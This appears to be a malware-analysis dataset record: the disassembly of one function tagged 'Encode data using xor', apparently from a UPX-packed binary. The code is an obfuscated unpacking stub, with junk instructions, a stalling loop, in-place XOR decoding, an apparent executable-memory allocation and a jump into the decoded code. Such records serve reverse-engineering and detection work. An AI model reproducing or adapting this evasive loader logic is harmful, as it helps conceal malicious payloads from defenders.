Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x88bf2373
or edx, edx
mov eax, 0x2005107a
mov edx, 0xd2008a0d
popal
or eax, eax
mov eax, 0xd300d621
mov ebx, 0
mov edx, esi
mov eax, 0x5194e42e
not eax
and ecx, ecx
mov edi, edx
add ecx, 0xbb65b22c
mov eax, 0x9b1d38c6
mov esi, edi
not ecx
sub ecx, eax
and eax, ecx
inc ebx
not eax
sub eax, 1
add ecx, 1
cmp ebx, 0x100d17e
jne 0xa789cb
sub ecx, 0xc068d146
sub eax, 1
mov eax, 0x9337f0e1
add eax, eax
mov edi, 0xa78796
or eax, eax
add edx, edx
mov edx, eax
mov ebx, 0xa7898a
add eax, 0x978b91b9
mov edx, 0x23fd0989
mov esi, dword [edi]
dec eax
sub edx, ecx
add ecx, 0x2e6e269c
and esi, 0xff
not edx
or ecx, ecx
xor dword [ebx], esi
inc eax
sub eax, 0x812b9299
add ecx, 1
inc ebx
mov eax, 0xbdf9a867
add eax, 0x90a29c9d
and ecx, ecx
inc edi
add edx, eax
mov eax, ecx
sub edx, ecx
cmp ebx, entry0
jl 0xa78a34
dec edx
add edx, 1
sub eax, edx
not eax
add edx, 1
mov edx, 0x48548c3e
mov esi, 0xa7898e
sub edx, ecx
and ebx, ebx
not ebx
mov esi, dword [esi]
mov ebx, edi
add edx, 0x331cc68e
and edx, edi
mov esi, dword [esi]
and edx, ebx
sub edx, 0x45447a64
sub esp, 4
mov dword [esp], esi
inc edi
inc edi
mov esi, 0xa7898a
mov edx, 0xd993c169
mov ecx, 0xe10877ef
mov esi, dword [esi]
add edi, 0x695f0bb4
or edx, edi
not ecx
mov esi, dword [esi]
add ecx, ecx
or edx, ebx
not edx
push 0xa78992
and edi, ecx
inc edx
call esi
or edi, ecx
sub edi, edx
pop esi
inc ebx
mov ebx, edi
push 0xa7899f
not ebx
sub edi, 0x5d3a1447
or edi, edx
sub esp, 4
mov dword [esp], eax
add edi, 0x13f6b613
sub edx, ecx
or edi, ecx
call esi
add ecx, ecx
mov ecx, edi
sub esp, 4
mov dword [esp], 0x40
mov ebx, edi
sub ebx, 0xc79e02f1
push 0x3000
dec edx
sub ebx, 0x532ba615
push 0x2000074f
add ebx, 0xbd755002
sub edi, 0x1aefc5
sub esp, 4
mov dword [esp], 0
add ecx, ecx
or edi, ecx
or ecx, ebx
call eax
mov ecx, 0x25c78712
mov ebx, 0xf436dc00
or edx, edi
add eax, 0x200006e0
mov edi, 0x9bb6aa74
add edi, edi
mov esi, 0x26dd12ee
or edi, ecx
inc edi
sub ecx, 0x547d5843
mov dword [eax], esi
add edx, ebx
mov ebx, 0xe9f6f348
mov esi, dword [eax]
dec edi
or ecx, edi
cmp esi, 0x26dd12ee
je 0xa78b97
mov ebx, 0
mov dword [ebx], edx
mov ecx, ebx
not ecx
add ebx, edi
and ebx, ebx
mov edi, 0x5310e302
sub eax, 0xb2ad7d37
not edx
sub edx, 0x1ab75e6b
mov ecx, section.UPX1
sub eax, 0x83167c88
not eax
mov edi, 0xa78795
add edx, eax
mov eax, 0x92ab263d
mov esi, 0
inc eax
mov eax, 0xfed53abf
mov ebx, 0xa78796
and eax, eax
add edx, 0x16cc2ade
lea ebx, [ebx + esi]
sub eax, 0x84c6f9c2
sub eax, edx
mov ebx, dword [ebx]
sub edx, 0x2c686e42
and eax, eax
mov edx, eax
and ebx, 0xff
not eax
mov eax, 0x7b9b5945
mov edx, 0x14efb451
inc esi
not eax
sub eax, edx
cmp esi, 0x1f4
jne 0xa78c1e
mov esi, 0
and eax, edx
sub edx, 0x16984855
sub eax, edx
dec edx
mov eax, edx
xor dword [ecx], ebx
sub edx, 1
mov edx, 0xe077e034
add ecx, 2
sub edx, eax
add eax, eax
not eax
cmp ecx, edi
jl 0xa78bd6
sub eax, 1
and eax, eax
add edx, edx
sub eax, 1
mov esi, section.UPX1
or edi, ecx
mov ecx, 0x9ca56a40
mov edx, section.UPX1
add edi, 0x41fdfee5
sub edi, ecx
mov eax, 0xa78795
mov ecx, edi
inc ecx
mov ebx, 0
or edi, ecx
mov ecx, 0xeadcd608
mov ecx, 0x129beaf7
mov bl, byte [edx]
inc edi
add edi, 0x969b1ae1
sub ecx, 0x6e21eeba
mov byte [esi], bl
mov ecx, 0xecafcc8d
add edi, 1
inc esi
and edi, edi
add ecx, edi
add edx, 2
or edi, ecx
sub ecx, edi
add edi, 1
cmp edx, eax
jle 0xa78c8e
add ecx, 0xd949b868
not ecx
sub edi, ecx
add edx, 0xf3b0559c
not eax
add edx, 0xae2396ea
sub esp, 4
mov dword [esp], 0x8dc6a0
add edx, eax
mov eax, 0x5ea2e950
ret